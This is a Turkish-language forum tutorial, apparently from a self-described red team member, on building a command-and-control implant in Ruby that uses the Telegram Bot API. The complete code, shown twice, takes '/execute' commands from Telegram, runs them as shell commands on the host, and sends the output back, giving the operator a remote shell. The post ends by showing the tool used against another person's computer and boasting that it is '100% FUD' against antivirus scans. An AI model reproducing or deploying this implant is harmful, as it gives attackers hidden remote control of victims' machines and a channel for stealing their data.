Merhabalar, ben Anka Red Team'den Bunjo, bu konuda, Telegram'ı ve Ruby'i kullanarak nasıl bir C2 sunucusun yazılacağını anlatacağım.
C2 Sunucusu Nedir?
C2 (Command and Control) sunucusu, genellikle bir siber saldırı veya casus yazılım operasyonu sırasında kullanılan bir sunucu türüdür. Bu sunucu, saldırganın hedef sistem üzerinde kontrol sağlamasına ve yönetmesine olanak tanır. C2 sunucusu, saldırganın hedef sisteme komutlar göndermesini, veri toplamasını ve saldırı operasyonunu koordine etmesini sağlar.
C2 sunucuları, siber suç faaliyetlerinde ve casus yazılım operasyonlarında kullanılabilir. Bu sunucular genellikle uzaktan yönetilen kötü amaçlı yazılımların (malware) kontrolünü sağlamak amacıyla kullanılır. Saldırganlar, enfekte etikleri bilgisayarlarla iletişim kurarak veri çalmak, sistemleri kontrol etmek,
zararlı yazılım güncellemeleri sağlamak ve saldırılarını başlatmak için C2 sunucularını kullanabilirler. C2 sunucularının tanımlı bir protokol ve iletişim yöntemi vardır ve saldırganlar genellikle bu protokolü kullanarak enfekte etikleri sistemlerle iletişim kurarlar.
Bu, saldırganların etkileşimde bulunmak ve hedef sistemleri kontrol etmek için bir ara yüz sağlamalarını sağlar.
Bu tür saldırıları önlemek için güvenlik önlemleri, güncel antivirüs yazılımları ve ağ güvenliği çözümleri gibi önlemler alınabilir. Ayrıca, düzenli olarak sistem güvenliği taramaları ve güvenlik açıklarının kapatılması gibi güvenlik uygulamaları da kullanılabilir.
Diğer C2 Konusu
Kod Aşaması
Telegram botu ile iletişim kurmak için telegram-bot-ruby ve eventmachine kütüphanelerini içe aktarıyor.
initialize metodu: Bu metod, sınıfın örneklerinin oluşturulmasıyla çağrılır. Bu örneğin başlangıç durumunu ayarlamak için kullanılır.
@bot_token gibi sınıfın özellikleri (instance variables) başlangıçta belirli değerlerle başlatılır.
@bot_token: Bu özellik, Telegram Bot API'ye bağlanmak için kullanılan bir kimliği (token) içerir. Botunuzun Telegram Bot API'ye erişmek için gereken yetkilendirmesini sağlar.
Gelen kodun sistemde çalıştırılmasını sağlayan fonksiyon.
Ruby:
require 'telegram/bot'
require 'eventmachine'
Telegram botu ile iletişim kurmak için telegram-bot-ruby ve eventmachine kütüphanelerini içe aktarıyor.
Ruby:
class C2Telegram
def initialize
@bot_token = "Tokeniniz"
@command = nil
end
initialize metodu: Bu metod, sınıfın örneklerinin oluşturulmasıyla çağrılır. Bu örneğin başlangıç durumunu ayarlamak için kullanılır.
@bot_token gibi sınıfın özellikleri (instance variables) başlangıçta belirli değerlerle başlatılır.
@bot_token: Bu özellik, Telegram Bot API'ye bağlanmak için kullanılan bir kimliği (token) içerir. Botunuzun Telegram Bot API'ye erişmek için gereken yetkilendirmesini sağlar.
Ruby:
def execute(cmd)
`#{cmd}`
end
Gelen kodun sistemde çalıştırılmasını sağlayan fonksiyon.
Ruby:
def listen
Telegram::Bot::Client.run(@bot_token) do |bot|
bot.listen do |message|
if message.text.start_with?('/')
bot_cmd, arguments = message.text.scan(/^\/([^\s]+)\s?(.+)?/).flatten
case bot_cmd.downcase
when 'execute'
unless arguments.nil?
bot.api.send_message(chat_id: message.chat.id, text: "> #{arguments}\n#{execute(arguments)}")
else
bot.api.send_message(chat_id: message.chat.id, text: "Error")
end
end
end
end
end
end
Telegram botunun mesajları dinlemek ve işlemek için kullanılır. Telegram gem'i kullanılarak botun başlatılması ve dinleme döngüsünün başlatılması sağlanır.
Telegram::Bot::Client.run(@bot_token) ifadesi, Telegram Bot API'ye bağlanmak ve belirtilen token ile botu başlatmak için kullanılır. @bot_token, botun kimliğini içeren bir değişkendir.
bot.listen do |message| ifadesi, botun mesajları dinlemeye başlaması için bir döngü oluşturur. Bu döngü, yeni bir mesaj alındığında çalışır ve alınan mesajı temsil eden message nesnesini alır.
if message.text.start_with?('/') ifadesi, gelen mesajın bir komut olup olmadığını kontrol eder. Eğer mesaj bir komutla başlıyorsa, işlem yapılır.
bot_cmd, arguments = message.text.scan(/^\/([^\s]+)\s?(.+)?/).flatten ifadesi, gelen mesajın içerdiği komutu ve argümanları ayıklar. Bu, /komut argumanlar formatındaki mesajları analiz eder.
case bot_cmd.downcase ifadesi, komutun türünü belirler ve işlem yapılacak komutun adını alır. Bu durumda, execute komutu belirlendiğinde execute metodunu çağıracaktır.
bot.api.send_message ifadeleri, botun mesaj göndermek için Telegram Bot API'sini kullanmasını sağlar. Bu, botun, belirli bir sohbet odasına yanıt olarak mesaj göndermesini sağlar. Mesajın içeriği, yapılan işlemin sonucunu veya bir hata mesajını içerir.
Telegram::Bot::Client.run(@bot_token) ifadesi, Telegram Bot API'ye bağlanmak ve belirtilen token ile botu başlatmak için kullanılır. @bot_token, botun kimliğini içeren bir değişkendir.
bot.listen do |message| ifadesi, botun mesajları dinlemeye başlaması için bir döngü oluşturur. Bu döngü, yeni bir mesaj alındığında çalışır ve alınan mesajı temsil eden message nesnesini alır.
if message.text.start_with?('/') ifadesi, gelen mesajın bir komut olup olmadığını kontrol eder. Eğer mesaj bir komutla başlıyorsa, işlem yapılır.
bot_cmd, arguments = message.text.scan(/^\/([^\s]+)\s?(.+)?/).flatten ifadesi, gelen mesajın içerdiği komutu ve argümanları ayıklar. Bu, /komut argumanlar formatındaki mesajları analiz eder.
case bot_cmd.downcase ifadesi, komutun türünü belirler ve işlem yapılacak komutun adını alır. Bu durumda, execute komutu belirlendiğinde execute metodunu çağıracaktır.
bot.api.send_message ifadeleri, botun mesaj göndermek için Telegram Bot API'sini kullanmasını sağlar. Bu, botun, belirli bir sohbet odasına yanıt olarak mesaj göndermesini sağlar. Mesajın içeriği, yapılan işlemin sonucunu veya bir hata mesajını içerir.
Ruby:
def main
listen
end
end
EM.run do
bot_instance = C2Telegram.new
bot_instance.main
end
Tüm Kod:
Ruby:
require 'telegram/bot'
require 'eventmachine'
class C2Telegram
def initialize
@bot_token = ""
end
def execute(cmd)
`#{cmd}`
end
def listen
Telegram::Bot::Client.run(@bot_token) do |bot|
bot.listen do |message|
if message.text.start_with?('/')
bot_cmd, arguments = message.text.scan(/^\/([^\s]+)\s?(.+)?/).flatten
case bot_cmd.downcase
when 'execute'
unless arguments.nil?
bot.api.send_message(chat_id: message.chat.id, text: "> #{arguments}\n#{execute(arguments)}")
else
bot.api.send_message(chat_id: message.chat.id, text: "Error")
end
end
end
end
end
end
def main
listen
end
end
EM.run do
bot_instance = C2Telegram.new
bot_instance.main
end
Güvenli çalışma ortamı için "eventmachine" kullanılır.
gem install eventmachine telegram-bot-ruby komutunu yazarak bağlılıkları kurabilirsiniz.
Github adresi.
gem install eventmachine telegram-bot-ruby komutunu yazarak bağlılıkları kurabilirsiniz.
Github adresi.
Bot Kurulumu
Ben bu proje için FatherBot kullandım, size de öneririm.
Aşamalarını takip edebilirsiniz.
Siyah Şapkalıların Hacklenmesi
Proje dosyasını çalıştırıyorum ve oluşturduğum telegram botumun chatine geliyorum.
Bakalım bir Siyah şapkalı hackerin bilgisayarında neler varmış.
Evet böyle şeyler çıkabiliyor bilgisayarlarından dikkatli olunuz üstüne üstelik Telegram'dan rütbenizle de dalga geçebilir onun için farklı çözümler var.
%100 FUD
VirusTotal: rapor
Jotti: bunjo.rb - Jotti's malware scan
Moderatör tarafında düzenlendi: